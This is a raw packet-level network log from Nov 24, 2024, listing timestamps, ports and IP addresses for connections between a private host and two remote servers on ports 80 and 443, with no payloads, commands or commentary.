Nov 24, 2024 19:11:55.164853096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.164906025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.164926052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.164997101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.165680885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.165730000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.165797949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.165847063 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.166613102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.166665077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.166683912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.166861057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.167476892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.167527914 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.167583942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.167624950 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.168390989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.168404102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.168443918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.206496000 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.210002899 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.210047960 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.210052013 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.210100889 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.210441113 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.210453987 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.211219072 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.211246967 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.211307049 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.212378025 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.212410927 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.223850965 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.223875999 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.223917961 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.223923922 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.223979950 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.224018097 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.227556944 CET	49808	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.227569103 CET	443	49808	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.239572048 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.239593983 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.239650965 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.239655972 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.239697933 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.245754004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.245825052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.245857954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.245908976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.246150017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.246193886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.246267080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.246414900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.247054100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.247103930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.247169018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.247219086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.247946978 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.248013020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.248048067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.248102903 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.248827934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.248892069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.248920918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.248964071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.249794960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.249845028 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.249960899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.250004053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.250613928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.250668049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.250704050 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.251513004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.251566887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.251633883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.252379894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.252413988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.252444983 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.252481937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.252532005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.253300905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.253426075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.254328012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.254419088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.255134106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.255244970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.255641937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.255954027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.256021023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.256050110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.256107092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.256807089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.256973982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.262430906 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.262455940 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.286197901 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.286237955 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.286298990 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.286333084 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.287686110 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.287862062 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.291810989 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.291825056 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.299510956 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.299581051 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.299642086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.299789906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.299884081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.299885035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.299926996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.300669909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.300725937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.300786018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.300982952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.301572084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.301628113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.301678896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.301737070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.302170992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.302263021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.302308083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.303149939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.303215027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.303241014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.303293943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.303955078 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.304014921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.304053068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.304099083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.304869890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.304917097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.304997921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.305049896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.305768013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.305906057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.305948973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.305989027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.306705952 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.306757927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.306857109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.306936026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.307802916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.307895899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.307993889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.308046103 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.308466911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.308518887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.308595896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.308638096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.309333086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.309416056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.309461117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.310197115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.310250044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.310312033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.310347080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.319178104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.319219112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.319236040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.319262981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.319300890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.319348097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.319454908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.319499969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.320082903 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.320135117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.320144892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.320184946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.320885897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.320938110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.320957899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.320997000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.321552038 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.321616888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.321706057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.321751118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.322439909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.322510958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.322546959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.322592020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.323374033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.323441029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.323443890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.323482990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.324161053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.324217081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.324251890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.324295044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.325078964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.325129986 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.325200081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.325244904 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.325942993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.326030970 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.326035023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.326083899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.326853037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.326901913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.327033043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.327079058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.327781916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.327826977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.327863932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.327914953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.328620911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.328665018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.328696012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.328696012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.329608917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.329751968 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.329814911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.329864025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.330427885 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.330475092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.330538034 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.330588102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.331387997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.331465006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.331502914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.331542015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.332209110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.332264900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.332304955 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.332391977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.333039045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.333095074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.353319883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.353375912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.353435040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.353488922 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.353609085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.353684902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.353769064 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.353827000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.354512930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.354559898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.354643106 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.354666948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.355360031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.355408907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.355516911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.355600119 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.356267929 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.356314898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.356409073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.356475115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.357141018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.357196093 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.357203007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.357239962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.358007908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.358057976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.358098030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.358154058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.358886957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.358937025 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.358998060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.359049082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.359771967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.359821081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.359903097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.359946966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.360675097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.360747099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.360850096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.360850096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.414410114 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.414449930 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.414508104 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.414530039 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.414542913 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.414587975 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.415524006 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:55.415540934 CET	443	49810	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:55.437869072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.437928915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.437997103 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.438044071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.438242912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.438333988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.438334942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.438380957 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.439156055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.439218998 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.439245939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.439295053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.440104008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.440146923 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.440313101 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.440366030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.441103935 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.441222906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.441225052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.441267014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.442240953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.442339897 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.442369938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.442385912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.443449020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.443460941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.443511963 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.444231987 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.444303989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.444339991 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.444401026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.445019007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.445044041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.445095062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.445993900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.446165085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.446178913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.446221113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.447288036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.447392941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.447444916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.448240995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.448292971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.448380947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.448425055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.448945999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.448996067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.449022055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.449065924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.449722052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.449773073 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.491645098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.491775990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.491938114 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.491991043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.492336988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.492402077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.492444038 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.492492914 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.493160009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.493241072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.493246078 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.493305922 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.494371891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.494422913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:55.494579077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:55.494628906 CET	49750	80	192.168.2.8	185.215.113.206
